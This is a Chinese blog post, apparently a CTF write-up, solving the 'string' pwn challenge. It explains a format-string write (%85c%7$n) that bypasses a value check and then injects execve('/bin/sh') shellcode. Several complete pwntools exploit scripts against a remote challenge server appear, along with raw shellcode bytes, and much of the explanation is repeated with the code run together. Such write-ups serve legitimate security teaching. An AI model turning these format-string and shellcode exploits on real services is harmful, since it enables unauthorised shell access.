string-看完还是有点懵

string

0x07 string主函数。
动态分配内存(malloc),地址赋给v3。然后v3赋给v4,相当于v3和v4都指向同一地址。然后给出v4指向的地址和下一个第一个地址。输入name,没有漏洞。选择east或up。但是选up会被dragon干掉,所以必须选east. 嗯,下图printf(
&format, &format);存在格式化字符串任意写的漏洞。可参考0x02 CGfsb 最关键的一步:第17行是将v1转化为可执行函数。本题没有出现system函数,所以要在此处写个shellcode。当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode。 但是,要运行至此处,要先满足if ( *a1 == a1[1] )a1是前面提到的v4传入函数的形参,就是个地址。a[0]=v4[0]=v3[0]=68, a[1]=v4[1]=v3[1]=85。要将a[0]和a[1]修改为相同的值。可以通过前面提到的格式化字符串漏洞来修改。函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过%?$n向v2指向的地址处写入字符串长度。上面程序为什么这么写,待会在后面的正式的交互代码中解释。这里只说一下最后一句。p.recvuntil('I hearit')必须要写上,否则程序的debug末尾只能看到发送了数据,看不到之后print的format字符串。如下图:#查看sub_400BB9()栈内情况frompwnimport*p = remote("111.198.29.45","49404")context(arch='amd64', os='linux', log_level='debug')p.recvuntil('secret[0] is ')v4_addr = int(p.recvuntil('\n')[:-1], 16)p.sendlineafter("What should your character's name be:", 'cxk')p.sendlineafter("So, where you will go?east or up?:", 'east')p.sendlineafter("go into there(1), or leave(0)?:", '1')p.sendlineafter("'Give me an address'", str(int(v4_addr)))p.sendlineafter("And, you wish is:",'AAAA'+'-%p'*10)p.recvuntil('I hear it') 上上图选中处,0xc23010是v2的内容,因为v2在format(就是许下的愿望wish)的前面一位,而通过0x41414141(图中是0x2d70252d41414141,是因为这是64位程序)可以找到format的起始位置。v2是栈内第7个参数。所以wish就写成%85c%7$n,作用是将85写入栈内第7个参数所指向的地址。获得执行system(“/bin/sh”)汇编代码所对应的机器码:asm(shellcraft.sh())。注意要指明arch和os。arch有i386(x86)和amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代码是不同的。代码的第二段从printf("secret[0] is %x\n", v4, a2);输出的字符串中,提取v4的地址,注意把末尾的\n剔除。然后代码的第四段Give me an address,注意源代码中_isoc99_scanf("%ld", &v2);,读入的不是字符串,是int64,是个数字,不要输入0x开头的字符串,也不要类似于1003fd2c的十六进制字符串,就输入一个十进制数字就行。不要使用p64()转换!!!int转换即可,但是send发送的是一个字符串,所以再str一下。frompwnimport*p = remote("111.198.29.45","49404")context(arch='amd64', os='linux', log_level='debug')p.recvuntil('secret[0] is ')v4_addr = int(p.recvuntil('\n')[:-1], 16)p.sendlineafter("What should your character's name be:", 'cxk')p.sendlineafter("So, where you will go?east or up?:", 'east')p.sendlineafter("go into there(1), or leave(0)?:", '1')p.sendlineafter("'Give me an address'", str(int(v4_addr)))p.sendlineafter("And, you wish is:", '%85c%7$n')shellcode = asm(shellcraft.sh())p.sendlineafter("USE YOU SPELL", shellcode)p.interactive() 总结一下POP攻击链:通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。(当然你也可以改v4[1]的值)嗯,最后我想说一下shellcode的撰写。正好前两天,学长PwnHt讲了讲这方面的内容。参考链接:PWN-shellcode获取与编写yihangwang/shellcode_spider:从 exploitdb 爬取所有平台 shellcode 并格式化储存LINUX 系统调用表32位:http://shell-storm.org/shellcode/files/syscalls.html64位:https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
from pwn import *
context.log_level = 'debug'
conn = remote('111.198.29.45', 40641)
conn.recvuntil('secret[0] is ')
addr = int(conn.recvuntil('\n')[:-1], 16)
conn.sendlineafter('What should your character\'s name be:', 'what')
conn.sendlineafter('So, where you will go?east or up?:', 'east')
conn.sendlineafter('go into there(1), or leave(0)?:', '1')
conn.sendlineafter('\'Give me an address\'', str(addr))
conn.sendlineafter('And, you wish is:', '%85c%7$n')
shellcode = '\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05'
conn.sendlineafter('USE YOU SPELL', shellcode)
conn.interactive()
conn.close()

 

0x07 string主函数。动态分配内存(malloc),地址赋给v3。然后v3赋给v4,相当于v3v4都指向同一地址。然后给出v4指向的地址和下一个第一个地址。输入name,没有漏洞。选择eastup。但是选up会被dragon干掉,所以必须选east.

 
 

嗯,下图printf(&format, &format);存在格式化字符串任意写的漏洞。可参考0x02 CGfsb

 
 

最关键的一步:17行是将v1转化为可执行函数。本题没有出现system函数,所以要在此处写个shellcode当我们在获得程序的漏洞后,就可以在程序的漏洞处执行特定的代码,而这些代码也就是俗称的shellcode

 

但是,要运行至此处,要先满足if ( *a1 == a1[1] )a1是前面提到的v4传入函数的形参,就是个地址。a[0]=v4[0]=v3[0]=68, a[1]=v4[1]=v3[1]=85。要将a[0]a[1]修改为相同的值。可以通过前面提到的格式化字符串漏洞来修改。函数sub_400BB9()内的v2是我们输入的v4的地址,我们需要知道v2在栈内的位置,这样才能通过%?$nv2指向的地址处写入字符串长度。上面程序为什么这么写,待会在后面的正式的交互代码中解释。这里只说一下最后一句。p.recvuntil('I hearit')必须要写上,否则程序的debug末尾只能看到发送了数据,看不到之后printformat字符串。如下图:#查看sub_400BB9()栈内情况frompwnimport*p = remote("111.198.29.45","49404")context(arch='amd64', os='linux', log_level='debug')p.recvuntil('secret[0] is ')v4_addr = int(p.recvuntil('\n')[:-1], 16)p.sendlineafter("What should your character's name be:", 'cxk')p.sendlineafter("So, where you will go?east or up?:", 'east')p.sendlineafter("go into there(1), or leave(0)?:", '1')p.sendlineafter("'Give me an address'", str(int(v4_addr)))p.sendlineafter("And, you wish is:",'AAAA'+'-%p'*10)p.recvuntil('I hear it')

 

上上图选中处,0xc23010v2的内容,因为v2format(就是许下的愿望wish)的前面一位,而通过0x41414141(图中是0x2d70252d41414141,是因为这是64位程序)可以找到format的起始位置。v2是栈内第7个参数。所以wish就写成%85c%7$n,作用是将85写入栈内第7个参数所指向的地址。获得执行system(“/bin/sh”)汇编代码所对应的机器码:asm(shellcraft.sh())。注意要指明archosarchi386(x86)amd64(x64)。攻防世界的题解区有人说这个函数失效,其实是因为他没指明环境。不同环境下的汇编代码是不同的。代码的第二段从printf("secret[0] is %x\n", v4, a2);输出的字符串中,提取v4的地址,注意把末尾的\n除。然后代码的第四段Give me an address,注意源代码中_isoc99_scanf("%ld", &v2);,读入的不是字符串,是int64,是个数字,不要输入0x开头的字符串,也不要类似于1003fd2c的十六进制字符串,就输入一个十进制数字就行。不要使用p64()转换!!!int转换即可,但是send发送的是一个字符串,所以再str一下。frompwnimport*p = remote("111.198.29.45","49404")context(arch='amd64', os='linux', log_level='debug')p.recvuntil('secret[0] is ')v4_addr = int(p.recvuntil('\n')[:-1], 16)p.sendlineafter("What should your character's name be:", 'cxk')p.sendlineafter("So, where you will go?east or up?:", 'east')p.sendlineafter("go into there(1), or leave(0)?:", '1')p.sendlineafter("'Give me an address'", str(int(v4_addr)))p.sendlineafter("And, you wish is:", '%85c%7$n')shellcode = asm(shellcraft.sh())p.sendlineafter("USE YOU SPELL", shellcode)p.interactive()

 

总结一下POP攻击链:通过格式化字符串漏洞修改v4[0]的值,使之与v4[1]相等。然后读入shellcode并运行。(当然你也可以改v4[1]的值)嗯,最后我想说一下shellcode的撰写。正好前两天,学长PwnHt讲了讲这方面的内容。参考链接:PWN-shellcode获取与编写yihangwang/shellcode_spider:从 exploitdb 爬取所有平台 shellcode 并格式化储存LINUX 系统调用表32位:http://shell-storm.org/shellcode/files/syscalls.html64位:https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

 
posted @ 2020-03-07 00:29  MTcx  阅读(16)  评论(0编辑  收藏  举报